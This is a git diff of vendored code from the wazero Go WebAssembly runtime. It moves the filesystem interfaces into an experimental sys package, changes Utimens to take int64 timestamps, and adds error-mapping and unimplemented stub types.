+ // - A fs.FileInfo backed implementation sets atim, mtim and ctim to the
+ // same value.
+ // - Windows allows you to stat a closed directory.
+ Stat() (sys.Stat_t, Errno)
+
+ // Read attempts to read all bytes in the file into `buf`, and returns the
+ // count read even on error.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file or directory was closed or not readable.
+ // - EISDIR: the file was a directory.
+ //
+ // # Notes
+ //
+ // - This is like io.Reader and `read` in POSIX, preferring semantics of
+ // io.Reader. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html
+ // - Unlike io.Reader, there is no io.EOF returned on end-of-file. To
+ // read the file completely, the caller must repeat until `n` is zero.
+ Read(buf []byte) (n int, errno Errno)
+
+ // Pread attempts to read all bytes in the file into `p`, starting at the
+ // offset `off`, and returns the count read even on error.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file or directory was closed or not readable.
+ // - EINVAL: the offset was negative.
+ // - EISDIR: the file was a directory.
+ //
+ // # Notes
+ //
+ // - This is like io.ReaderAt and `pread` in POSIX, preferring semantics
+ // of io.ReaderAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pread.html
+ // - Unlike io.ReaderAt, there is no io.EOF returned on end-of-file. To
+ // read the file completely, the caller must repeat until `n` is zero.
+ Pread(buf []byte, off int64) (n int, errno Errno)
+
+ // Seek attempts to set the next offset for Read or Write and returns the
+ // resulting absolute offset or an error.
+ //
+ // # Parameters
+ //
+ // The `offset` parameters is interpreted in terms of `whence`:
+ // - io.SeekStart: relative to the start of the file, e.g. offset=0 sets
+ // the next Read or Write to the beginning of the file.
+ // - io.SeekCurrent: relative to the current offset, e.g. offset=16 sets
+ // the next Read or Write 16 bytes past the prior.
+ // - io.SeekEnd: relative to the end of the file, e.g. offset=-1 sets the
+ // next Read or Write to the last byte in the file.
+ //
+ // # Behavior when a directory
+ //
+ // The only supported use case for a directory is seeking to `offset` zero
+ // (`whence` = io.SeekStart). This should have the same behavior as
+ // os.File, which resets any internal state used by Readdir.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file or directory was closed or not readable.
+ // - EINVAL: the offset was negative.
+ //
+ // # Notes
+ //
+ // - This is like io.Seeker and `fseek` in POSIX, preferring semantics
+ // of io.Seeker. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/fseek.html
+ Seek(offset int64, whence int) (newOffset int64, errno Errno)
+
+ // Readdir reads the contents of the directory associated with file and
+ // returns a slice of up to n Dirent values in an arbitrary order. This is
+ // a stateful function, so subsequent calls return any next values.
+ //
+ // If n > 0, Readdir returns at most n entries or an error.
+ // If n <= 0, Readdir returns all remaining entries or an error.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file was closed or not a directory.
+ // - ENOENT: the directory could not be read (e.g. deleted).
+ //
+ // # Notes
+ //
+ // - This is like `Readdir` on os.File, but unlike `readdir` in POSIX.
+ // See https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html
+ // - Unlike os.File, there is no io.EOF returned on end-of-directory. To
+ // read the directory completely, the caller must repeat until the
+ // count read (`len(dirents)`) is less than `n`.
+ // - See /RATIONALE.md for design notes.
+ Readdir(n int) (dirents []Dirent, errno Errno)
+
+ // Write attempts to write all bytes in `p` to the file, and returns the
+ // count written even on error.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file was closed, not writeable, or a directory.
+ //
+ // # Notes
+ //
+ // - This is like io.Writer and `write` in POSIX, preferring semantics of
+ // io.Writer. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html
+ Write(buf []byte) (n int, errno Errno)
+
+ // Pwrite attempts to write all bytes in `p` to the file at the given
+ // offset `off`, and returns the count written even on error.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file or directory was closed or not writeable.
+ // - EINVAL: the offset was negative.
+ // - EISDIR: the file was a directory.
+ //
+ // # Notes
+ //
+ // - This is like io.WriterAt and `pwrite` in POSIX, preferring semantics
+ // of io.WriterAt. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/pwrite.html
+ Pwrite(buf []byte, off int64) (n int, errno Errno)
+
+ // Truncate truncates a file to a specified length.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file or directory was closed.
+ // - EINVAL: the `size` is negative.
+ // - EISDIR: the file was a directory.
+ //
+ // # Notes
+ //
+ // - This is like syscall.Ftruncate and `ftruncate` in POSIX. See
+ // https://pubs.opengroup.org/onlinepubs/9699919799/functions/ftruncate.html
+ // - Windows does not error when calling Truncate on a closed file.
+ Truncate(size int64) Errno
+
+ // Sync synchronizes changes to the file.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - EBADF: the file or directory was closed.
+ //
+ // # Notes
+ //
+ // - This is like syscall.Fsync and `fsync` in POSIX. See
+ // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fsync.html
+ // - This returns with no error instead of ENOSYS when
+ // unimplemented. This prevents fake filesystems from erring.
+ // - Windows does not error when calling Sync on a closed file.
+ Sync() Errno
+
+ // Datasync synchronizes the data of a file.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - EBADF: the file or directory was closed.
+ //
+ // # Notes
+ //
+ // - This is like syscall.Fdatasync and `fdatasync` in POSIX. See
+ // https://pubs.opengroup.org/onlinepubs/9699919799/functions/fdatasync.html
+ // - This returns with no error instead of ENOSYS when
+ // unimplemented. This prevents fake filesystems from erring.
+ // - As this is commonly missing, some implementations dispatch to Sync.
+ Datasync() Errno
+
+ // Utimens set file access and modification times of this file, at
+ // nanosecond precision.
+ //
+ // # Parameters
+ //
+ // The `atim` and `mtim` parameters refer to access and modification time
+ // stamps as defined in sys.Stat_t. To retain one or the other, substitute
+ // it with the pseudo-timestamp UTIME_OMIT.
+ //
+ // # Errors
+ //
+ // A zero Errno is success. The below are expected otherwise:
+ // - ENOSYS: the implementation does not support this function.
+ // - EBADF: the file or directory was closed.
+ //
+ // # Notes
+ //
+ // - This is like syscall.UtimesNano and `futimens` in POSIX. See
+ // https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
+ // - Windows requires files to be open with O_RDWR, which means you
+ // cannot use this to update timestamps on a directory (EPERM).
+ Utimens(atim, mtim int64) Errno
+
+ // Close closes the underlying file.
+ //
+ // A zero Errno is returned if unimplemented or success.
+ //
+ // # Notes
+ //
+ // - This is like syscall.Close and `close` in POSIX. See
+ // https://pubs.opengroup.org/onlinepubs/9699919799/functions/close.html
+ Close() Errno
+}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go
similarity index 67%
rename from vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go
rename to vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go
index 50bf61687d..1ce99cef18 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/fs.go
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/fs.go
@@ -1,10 +1,8 @@
-package fsapi
+package sys
import (
"io/fs"
- "syscall"
- experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/sys"
)
@@ -34,11 +32,11 @@ type FS interface {
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EINVAL: `path` or `flag` is invalid.
- // - sys.EISDIR: the path was a directory, but flag included O_RDWR or
+ // - ENOSYS: the implementation does not support this function.
+ // - EINVAL: `path` or `flag` is invalid.
+ // - EISDIR: the path was a directory, but flag included O_RDWR or
// O_WRONLY
- // - sys.ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT.
+ // - ENOENT: `path` doesn't exist and `flag` doesn't contain O_CREAT.
//
// # Constraints on the returned file
//
@@ -59,15 +57,15 @@ type FS interface {
// - Implications of permissions when O_CREAT are described in Chmod notes.
// - This is like `open` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/open.html
- OpenFile(path string, flag Oflag, perm fs.FileMode) (File, experimentalsys.Errno)
+ OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno)
// Lstat gets file status without following symbolic links.
//
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.ENOENT: `path` doesn't exist.
+ // - ENOSYS: the implementation does not support this function.
+ // - ENOENT: `path` doesn't exist.
//
// # Notes
//
@@ -79,15 +77,15 @@ type FS interface {
// same value.
// - When the path is a symbolic link, the stat returned is for the link,
// not the file it refers to.
- Lstat(path string) (sys.Stat_t, experimentalsys.Errno)
+ Lstat(path string) (sys.Stat_t, Errno)
// Stat gets file status.
//
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.ENOENT: `path` doesn't exist.
+ // - ENOSYS: the implementation does not support this function.
+ // - ENOENT: `path` doesn't exist.
//
// # Notes
//
@@ -99,17 +97,17 @@ type FS interface {
// same value.
// - When the path is a symbolic link, the stat returned is for the file
// it refers to.
- Stat(path string) (sys.Stat_t, experimentalsys.Errno)
+ Stat(path string) (sys.Stat_t, Errno)
// Mkdir makes a directory.
//
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EINVAL: `path` is invalid.
- // - sys.EEXIST: `path` exists and is a directory.
- // - sys.ENOTDIR: `path` exists and is a file.
+ // - ENOSYS: the implementation does not support this function.
+ // - EINVAL: `path` is invalid.
+ // - EEXIST: `path` exists and is a directory.
+ // - ENOTDIR: `path` exists and is a file.
//
// # Notes
//
@@ -118,16 +116,16 @@ type FS interface {
// - This is like `mkdir` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/mkdir.html
// - Implications of permissions are described in Chmod notes.
- Mkdir(path string, perm fs.FileMode) experimentalsys.Errno
+ Mkdir(path string, perm fs.FileMode) Errno
// Chmod changes the mode of the file.
//
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EINVAL: `path` is invalid.
- // - sys.ENOENT: `path` does not exist.
+ // - ENOSYS: the implementation does not support this function.
+ // - EINVAL: `path` is invalid.
+ // - ENOENT: `path` does not exist.
//
// # Notes
//
@@ -138,19 +136,19 @@ type FS interface {
// - Windows ignores the execute bit, and any permissions come back as
// group and world. For example, chmod of 0400 reads back as 0444, and
// 0700 0666. Also, permissions on directories aren't supported at all.
- Chmod(path string, perm fs.FileMode) experimentalsys.Errno
+ Chmod(path string, perm fs.FileMode) Errno
// Rename renames file or directory.
//
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EINVAL: `from` or `to` is invalid.
- // - sys.ENOENT: `from` or `to` don't exist.
- // - sys.ENOTDIR: `from` is a directory and `to` exists as a file.
- // - sys.EISDIR: `from` is a file and `to` exists as a directory.
- // - sys.ENOTEMPTY: `both from` and `to` are existing directory, but
+ // - ENOSYS: the implementation does not support this function.
+ // - EINVAL: `from` or `to` is invalid.
+ // - ENOENT: `from` or `to` don't exist.
+ // - ENOTDIR: `from` is a directory and `to` exists as a file.
+ // - EISDIR: `from` is a file and `to` exists as a directory.
+ // - ENOTEMPTY: `both from` and `to` are existing directory, but
// `to` is not empty.
//
// # Notes
@@ -160,18 +158,18 @@ type FS interface {
// - This is like `rename` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/rename.html
// - Windows doesn't let you overwrite an existing directory.
- Rename(from, to string) experimentalsys.Errno
+ Rename(from, to string) Errno
// Rmdir removes a directory.
//
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EINVAL: `path` is invalid.
- // - sys.ENOENT: `path` doesn't exist.
- // - sys.ENOTDIR: `path` exists, but isn't a directory.
- // - sys.ENOTEMPTY: `path` exists, but isn't empty.
+ // - ENOSYS: the implementation does not support this function.
+ // - EINVAL: `path` is invalid.
+ // - ENOENT: `path` doesn't exist.
+ // - ENOTDIR: `path` exists, but isn't a directory.
+ // - ENOTEMPTY: `path` exists, but isn't empty.
//
// # Notes
//
@@ -179,18 +177,18 @@ type FS interface {
// file system.
// - This is like `rmdir` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/rmdir.html
- // - As of Go 1.19, Windows maps sys.ENOTDIR to sys.ENOENT.
- Rmdir(path string) experimentalsys.Errno
+ // - As of Go 1.19, Windows maps ENOTDIR to ENOENT.
+ Rmdir(path string) Errno
// Unlink removes a directory entry.
//
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EINVAL: `path` is invalid.
- // - sys.ENOENT: `path` doesn't exist.
- // - sys.EISDIR: `path` exists, but is a directory.
+ // - ENOSYS: the implementation does not support this function.
+ // - EINVAL: `path` is invalid.
+ // - ENOENT: `path` doesn't exist.
+ // - EISDIR: `path` exists, but is a directory.
//
// # Notes
//
@@ -201,7 +199,7 @@ type FS interface {
// - On Windows, syscall.Unlink doesn't delete symlink to directory unlike other platforms. Implementations might
// want to combine syscall.RemoveDirectory with syscall.Unlink in order to delete such links on Windows.
// See https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-removedirectorya
- Unlink(path string) experimentalsys.Errno
+ Unlink(path string) Errno
// Link creates a "hard" link from oldPath to newPath, in contrast to a
// soft link (via Symlink).
@@ -209,10 +207,10 @@ type FS interface {
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EPERM: `oldPath` is invalid.
- // - sys.ENOENT: `oldPath` doesn't exist.
- // - sys.EISDIR: `newPath` exists, but is a directory.
+ // - ENOSYS: the implementation does not support this function.
+ // - EPERM: `oldPath` is invalid.
+ // - ENOENT: `oldPath` doesn't exist.
+ // - EISDIR: `newPath` exists, but is a directory.
//
// # Notes
//
@@ -220,7 +218,7 @@ type FS interface {
// file system.
// - This is like `link` in POSIX. See
// https://pubs.opengroup.org/onlinepubs/9699919799/functions/link.html
- Link(oldPath, newPath string) experimentalsys.Errno
+ Link(oldPath, newPath string) Errno
// Symlink creates a "soft" link from oldPath to newPath, in contrast to a
// hard link (via Link).
@@ -228,9 +226,9 @@ type FS interface {
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EPERM: `oldPath` or `newPath` is invalid.
- // - sys.EEXIST: `newPath` exists.
+ // - ENOSYS: the implementation does not support this function.
+ // - EPERM: `oldPath` or `newPath` is invalid.
+ // - EEXIST: `newPath` exists.
//
// # Notes
//
@@ -244,17 +242,17 @@ type FS interface {
// See https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409
// for how others implement this.
// - Symlinks in Windows requires `SeCreateSymbolicLinkPrivilege`.
- // Otherwise, sys.EPERM results.
+ // Otherwise, EPERM results.
// See https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/create-symbolic-links
- Symlink(oldPath, linkName string) experimentalsys.Errno
+ Symlink(oldPath, linkName string) Errno
// Readlink reads the contents of a symbolic link.
//
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EINVAL: `path` is invalid.
+ // - ENOSYS: the implementation does not support this function.
+ // - EINVAL: `path` is invalid.
//
// # Notes
//
@@ -265,32 +263,31 @@ type FS interface {
// - On Windows, the path separator is different from other platforms,
// but to provide consistent results to Wasm, this normalizes to a "/"
// separator.
- Readlink(path string) (string, experimentalsys.Errno)
+ Readlink(path string) (string, Errno)
// Utimens set file access and modification times on a path relative to
// this file system, at nanosecond precision.
//
// # Parameters
//
- // The `times` parameter includes the access and modification timestamps to
- // assign. Special syscall.Timespec NSec values UTIME_NOW and UTIME_OMIT
- // may be specified instead of real timestamps. A nil `times` parameter
- // behaves the same as if both were set to UTIME_NOW. If the path is a
- // symbolic link, the target of expanding that link is updated.
+ // If the path is a symbolic link, the target of expanding that link is
+ // updated.
+ //
+ // The `atim` and `mtim` parameters refer to access and modification time
+ // stamps as defined in sys.Stat_t. To retain one or the other, substitute
+ // it with the pseudo-timestamp UTIME_OMIT.
//
// # Errors
//
// A zero Errno is success. The below are expected otherwise:
- // - sys.ENOSYS: the implementation does not support this function.
- // - sys.EINVAL: `path` is invalid.
- // - sys.EEXIST: `path` exists and is a directory.
- // - sys.ENOTDIR: `path` exists and is a file.
+ // - ENOSYS: the implementation does not support this function.
+ // - EINVAL: `path` is invalid.
+ // - EEXIST: `path` exists and is a directory.
+ // - ENOTDIR: `path` exists and is a file.
//
// # Notes
//
// - This is like syscall.UtimesNano and `utimensat` with `AT_FDCWD` in
// POSIX. See https://pubs.opengroup.org/onlinepubs/9699919799/functions/futimens.html
- Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno
- // TODO: change impl to not use syscall package,
- // possibly by being just a pair of int64s..
+ Utimens(path string, atim, mtim int64) Errno
}
diff --git a/vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go
similarity index 99%
rename from vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go
rename to vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go
index eac4fc9874..39ebd378f6 100644
--- a/vendor/github.com/tetratelabs/wazero/internal/fsapi/oflag.go
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/oflag.go
@@ -1,4 +1,4 @@
-package fsapi
+package sys
// Oflag are flags used for FS.OpenFile. Values, including zero, should not be
// interpreted numerically. Instead, use by constants prefixed with 'O_' with
diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go
index aa6eb23d80..23c4be9283 100644
--- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno.go
@@ -1,51 +1,57 @@
+//go:build !plan9
+
package sys
import "syscall"
-func syscallToErrno(errno syscall.Errno) Errno {
+func syscallToErrno(err error) (Errno, bool) {
+ errno, ok := err.(syscall.Errno)
+ if !ok {
+ return 0, false
+ }
switch errno {
case 0:
- return 0
+ return 0, true
case syscall.EACCES:
- return EACCES
+ return EACCES, true
case syscall.EAGAIN:
- return EAGAIN
+ return EAGAIN, true
case syscall.EBADF:
- return EBADF
+ return EBADF, true
case syscall.EEXIST:
- return EEXIST
+ return EEXIST, true
case syscall.EFAULT:
- return EFAULT
+ return EFAULT, true
case syscall.EINTR:
- return EINTR
+ return EINTR, true
case syscall.EINVAL:
- return EINVAL
+ return EINVAL, true
case syscall.EIO:
- return EIO
+ return EIO, true
case syscall.EISDIR:
- return EISDIR
+ return EISDIR, true
case syscall.ELOOP:
- return ELOOP
+ return ELOOP, true
case syscall.ENAMETOOLONG:
- return ENAMETOOLONG
+ return ENAMETOOLONG, true
case syscall.ENOENT:
- return ENOENT
+ return ENOENT, true
case syscall.ENOSYS:
- return ENOSYS
+ return ENOSYS, true
case syscall.ENOTDIR:
- return ENOTDIR
+ return ENOTDIR, true
case syscall.ENOTEMPTY:
- return ENOTEMPTY
+ return ENOTEMPTY, true
case syscall.ENOTSOCK:
- return ENOTSOCK
+ return ENOTSOCK, true
case syscall.ENOTSUP:
- return ENOTSUP
+ return ENOTSUP, true
case syscall.EPERM:
- return EPERM
+ return EPERM, true
case syscall.EROFS:
- return EROFS
+ return EROFS, true
default:
- return EIO
+ return EIO, true
}
}
diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go
index 56c8441d95..8a88ed7658 100644
--- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_notwindows.go
@@ -2,15 +2,12 @@
package sys
-import "syscall"
-
func errorToErrno(err error) Errno {
- switch err := err.(type) {
- case Errno:
- return err
- case syscall.Errno:
- return syscallToErrno(err)
- default:
- return EIO
+ if errno, ok := err.(Errno); ok {
+ return errno
+ }
+ if errno, ok := syscallToErrno(err); ok {
+ return errno
}
+ return EIO
}
diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go
new file mode 100644
index 0000000000..0e454f0acb
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_plan9.go
@@ -0,0 +1,5 @@
+package sys
+
+func syscallToErrno(err error) (Errno, bool) {
+ return 0, false
+}
diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go
index 4c512133a4..761a1f9dc2 100644
--- a/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/syscall_errno_windows.go
@@ -54,7 +54,8 @@ func errorToErrno(err error) Errno {
case _ERROR_NEGATIVE_SEEK, _ERROR_INVALID_NAME:
return EINVAL
}
- return syscallToErrno(err)
+ errno, _ := syscallToErrno(err)
+ return errno
default:
return EIO
}
diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go
new file mode 100644
index 0000000000..4f3e01fefb
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/time.go
@@ -0,0 +1,10 @@
+package sys
+
+import "math"
+
+// UTIME_OMIT is a special constant for use in updating times via FS.Utimens
+// or File.Utimens. When used for atim or mtim, the value is retained.
+//
+// Note: This may be implemented via a stat when the underlying filesystem
+// does not support this value.
+const UTIME_OMIT int64 = math.MinInt64
diff --git a/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go b/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go
new file mode 100644
index 0000000000..d853d9e8f4
--- /dev/null
+++ b/vendor/github.com/tetratelabs/wazero/experimental/sys/unimplemented.go
@@ -0,0 +1,160 @@
+package sys
+
+import (
+ "io/fs"
+
+ "github.com/tetratelabs/wazero/sys"
+)
+
+// UnimplementedFS is an FS that returns ENOSYS for all functions,
+// This should be embedded to have forward compatible implementations.
+type UnimplementedFS struct{}
+
+// OpenFile implements FS.OpenFile
+func (UnimplementedFS) OpenFile(path string, flag Oflag, perm fs.FileMode) (File, Errno) {
+ return nil, ENOSYS
+}
+
+// Lstat implements FS.Lstat
+func (UnimplementedFS) Lstat(path string) (sys.Stat_t, Errno) {
+ return sys.Stat_t{}, ENOSYS
+}
+
+// Stat implements FS.Stat
+func (UnimplementedFS) Stat(path string) (sys.Stat_t, Errno) {
+ return sys.Stat_t{}, ENOSYS
+}
+
+// Readlink implements FS.Readlink
+func (UnimplementedFS) Readlink(path string) (string, Errno) {
+ return "", ENOSYS
+}
+
+// Mkdir implements FS.Mkdir
+func (UnimplementedFS) Mkdir(path string, perm fs.FileMode) Errno {
+ return ENOSYS
+}
+
+// Chmod implements FS.Chmod
+func (UnimplementedFS) Chmod(path string, perm fs.FileMode) Errno {
+ return ENOSYS
+}
+
+// Rename implements FS.Rename
+func (UnimplementedFS) Rename(from, to string) Errno {
+ return ENOSYS
+}
+
+// Rmdir implements FS.Rmdir
+func (UnimplementedFS) Rmdir(path string) Errno {
+ return ENOSYS
+}
+
+// Link implements FS.Link
+func (UnimplementedFS) Link(_, _ string) Errno {
+ return ENOSYS
+}
+
+// Symlink implements FS.Symlink
+func (UnimplementedFS) Symlink(_, _ string) Errno {
+ return ENOSYS
+}
+
+// Unlink implements FS.Unlink
+func (UnimplementedFS) Unlink(path string) Errno {
+ return ENOSYS
+}
+
+// Utimens implements FS.Utimens
+func (UnimplementedFS) Utimens(path string, atim, mtim int64) Errno {
+ return ENOSYS
+}
+
+// UnimplementedFile is a File that returns ENOSYS for all functions,
+// except where no-op are otherwise documented.
+//
+// This should be embedded to have forward compatible implementations.
+type UnimplementedFile struct{}
+
+// Dev implements File.Dev
+func (UnimplementedFile) Dev() (uint64, Errno) {
+ return 0, 0
+}
+
+// Ino implements File.Ino
+func (UnimplementedFile) Ino() (sys.Inode, Errno) {
+ return 0, 0
+}
+
+// IsDir implements File.IsDir
+func (UnimplementedFile) IsDir() (bool, Errno) {
+ return false, 0
+}
+
+// IsAppend implements File.IsAppend
+func (UnimplementedFile) IsAppend() bool {
+ return false
+}
+
+// SetAppend implements File.SetAppend
+func (UnimplementedFile) SetAppend(bool) Errno {
+ return ENOSYS
+}
+
+// Stat implements File.Stat
+func (UnimplementedFile) Stat() (sys.Stat_t, Errno) {
+ return sys.Stat_t{}, ENOSYS
+}
+
+// Read implements File.Read
+func (UnimplementedFile) Read([]byte) (int, Errno) {
+ return 0, ENOSYS
+}
+
+// Pread implements File.Pread
+func (UnimplementedFile) Pread([]byte, int64) (int, Errno) {
+ return 0, ENOSYS
+}
+
+// Seek implements File.Seek
+func (UnimplementedFile) Seek(int64, int) (int64, Errno) {
+ return 0, ENOSYS
+}
+
+// Readdir implements File.Readdir
+func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno Errno) {
+ return nil, ENOSYS
+}
+
+// Write implements File.Write
+func (UnimplementedFile) Write([]byte) (int, Errno) {
+ return 0, ENOSYS
+}
+
+// Pwrite implements File.Pwrite
+func (UnimplementedFile) Pwrite([]byte, int64) (int, Errno) {
+ return 0, ENOSYS
+}
+
+// Truncate implements File.Truncate
+func (UnimplementedFile) Truncate(int64) Errno {
+ return ENOSYS
+}
+
+// Sync implements File.Sync
+func (UnimplementedFile) Sync() Errno {
+ return 0 // not ENOSYS
+}
+
+// Datasync implements File.Datasync
+func (UnimplementedFile) Datasync() Errno {
+ return 0 // not ENOSYS
+}
+
+// Utimens implements File.Utimens
+func (UnimplementedFile) Utimens(int64, int64) Errno {
+ return ENOSYS
+}
+
+// Close implements File.Close
+func (UnimplementedFile) Close() (errno Errno) { return }
diff --git a/vendor/github.com/tetratelabs/wazero/fsconfig.go b/vendor/github.com/tetratelabs/wazero/fsconfig.go
index 560da0b37d..c28909e19e 100644
--- a/vendor/github.com/tetratelabs/wazero/fsconfig.go
+++ b/vendor/github.com/tetratelabs/wazero/fsconfig.go
@@ -3,7 +3,7 @@ package wazero
import (
"io/fs"
- "github.com/tetratelabs/wazero/internal/fsapi"
+ experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/sys"
"github.com/tetratelabs/wazero/internal/sysfs"
)
@@ -135,7 +135,7 @@ type FSConfig interface {
type fsConfig struct {
// fs are the currently configured filesystems.
- fs []fsapi.FS
+ fs []experimentalsys.FS
// guestPaths are the user-supplied names of the filesystems, retained for
// error messages and fmt.Stringer.
guestPaths []string
@@ -152,7 +152,7 @@ func NewFSConfig() FSConfig {
// clone makes a deep copy of this module config.
func (c *fsConfig) clone() *fsConfig {
ret := *c // copy except slice and maps which share a ref
- ret.fs = make([]fsapi.FS, 0, len(c.fs))
+ ret.fs = make([]experimentalsys.FS, 0, len(c.fs))
ret.fs = append(ret.fs, c.fs...)
ret.guestPaths = make([]string, 0, len(c.guestPaths))
ret.guestPaths = append(ret.guestPaths, c.guestPaths...)
@@ -165,21 +165,26 @@ func (c *fsConfig) clone() *fsConfig {
// WithDirMount implements FSConfig.WithDirMount
func (c *fsConfig) WithDirMount(dir, guestPath string) FSConfig {
- return c.withMount(sysfs.NewDirFS(dir), guestPath)
+ return c.WithSysFSMount(sysfs.DirFS(dir), guestPath)
}
// WithReadOnlyDirMount implements FSConfig.WithReadOnlyDirMount
func (c *fsConfig) WithReadOnlyDirMount(dir, guestPath string) FSConfig {
- return c.withMount(sysfs.NewReadFS(sysfs.NewDirFS(dir)), guestPath)
+ return c.WithSysFSMount(&sysfs.ReadFS{FS: sysfs.DirFS(dir)}, guestPath)
}
// WithFSMount implements FSConfig.WithFSMount
func (c *fsConfig) WithFSMount(fs fs.FS, guestPath string) FSConfig {
- return c.withMount(sysfs.Adapt(fs), guestPath)
+ var adapted experimentalsys.FS
+ if fs != nil {
+ adapted = &sysfs.AdaptFS{FS: fs}
+ }
+ return c.WithSysFSMount(adapted, guestPath)
}
-func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig {
- if _, ok := fs.(fsapi.UnimplementedFS); ok {
+// WithSysFSMount implements sysfs.FSConfig
+func (c *fsConfig) WithSysFSMount(fs experimentalsys.FS, guestPath string) FSConfig {
+ if _, ok := fs.(experimentalsys.UnimplementedFS); ok {
return c // don't add fake paths.
}
cleaned := sys.StripPrefixesAndTrailingSlash(guestPath)
@@ -187,7 +192,7 @@ func (c *fsConfig) withMount(fs fsapi.FS, guestPath string) FSConfig {
if i, ok := ret.guestPathToFS[cleaned]; ok {
ret.fs[i] = fs
ret.guestPaths[i] = guestPath
- } else {
+ } else if fs != nil {
ret.guestPathToFS[cleaned] = len(ret.fs)
